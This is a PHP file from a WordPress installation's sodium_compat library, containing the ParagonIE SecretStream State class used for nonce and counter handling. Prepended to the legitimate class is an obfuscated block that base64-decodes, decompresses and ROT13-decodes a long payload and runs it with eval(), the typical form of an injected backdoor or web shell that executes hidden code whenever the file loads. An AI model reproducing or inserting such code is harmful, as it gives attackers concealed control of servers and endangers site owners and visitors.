File: /home/web.paitoan.com/public_html/wp-includes/sodium_compat/src/Core/SecretStream/State.php
<?php
$data = base64_decode('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');
$data = gzuncompress($data);
$data = str_rot13($data);
eval($data);
?>
<?php
/**
* Class ParagonIE_Sodium_Core_SecretStream_State
*/
class ParagonIE_Sodium_Core_SecretStream_State
{
/** @var string $key */
protected $key;
/** @var int $counter */
protected $counter;
/** @var string $nonce */
protected $nonce;
/** @var string $_pad */
protected $_pad;
/**
* ParagonIE_Sodium_Core_SecretStream_State constructor.
* @param string $key
* @param string|null $nonce
*/
public function __construct($key, $nonce = null)
{
$this->key = $key;
$this->counter = 1;
if (is_null($nonce)) {
$nonce = str_repeat("\0", 12);
}
$this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);;
$this->_pad = str_repeat("\0", 4);
}
/**
* @return self
*/
public function counterReset()
{
$this->counter = 1;
$this->_pad = str_repeat("\0", 4);
return $this;
}
/**
* @return string
*/
public function getKey()
{
return $this->key;
}
/**
* @return string
*/
public function getCounter()
{
return ParagonIE_Sodium_Core_Util::store32_le($this->counter);
}
/**
* @return string
*/
public function getNonce()
{
if (!is_string($this->nonce)) {
$this->nonce = str_repeat("\0", 12);
}
if (ParagonIE_Sodium_Core_Util::strlen($this->nonce) !== 12) {
$this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT);
}
return $this->nonce;
}
/**
* @return string
*/
public function getCombinedNonce()
{
return $this->getCounter() .
ParagonIE_Sodium_Core_Util::substr($this->getNonce(), 0, 8);
}
/**
* @return self
*/
public function incrementCounter()
{
++$this->counter;
return $this;
}
/**
* @return bool
*/
public function needsRekey()
{
return ($this->counter & 0xffff) === 0;
}
/**
* @param string $newKeyAndNonce
* @return self
*/
public function rekey($newKeyAndNonce)
{
$this->key = ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 0, 32);
$this->nonce = str_pad(
ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 32),
12,
"\0",
STR_PAD_RIGHT
);
return $this;
}
/**
* @param string $str
* @return self
*/
public function xorNonce($str)
{
$this->nonce = ParagonIE_Sodium_Core_Util::xorStrings(
$this->getNonce(),
str_pad(
ParagonIE_Sodium_Core_Util::substr($str, 0, 8),
12,
"\0",
STR_PAD_RIGHT
)
);
return $this;
}
/**
* @param string $string
* @return self
*/
public static function fromString($string)
{
$state = new ParagonIE_Sodium_Core_SecretStream_State(
ParagonIE_Sodium_Core_Util::substr($string, 0, 32)
);
$state->counter = ParagonIE_Sodium_Core_Util::load_4(
ParagonIE_Sodium_Core_Util::substr($string, 32, 4)
);
$state->nonce = ParagonIE_Sodium_Core_Util::substr($string, 36, 12);
$state->_pad = ParagonIE_Sodium_Core_Util::substr($string, 48, 8);
return $state;
}
/**
* @return string
*/
public function toString()
{
return $this->key .
$this->getCounter() .
$this->nonce .
$this->_pad;
}
}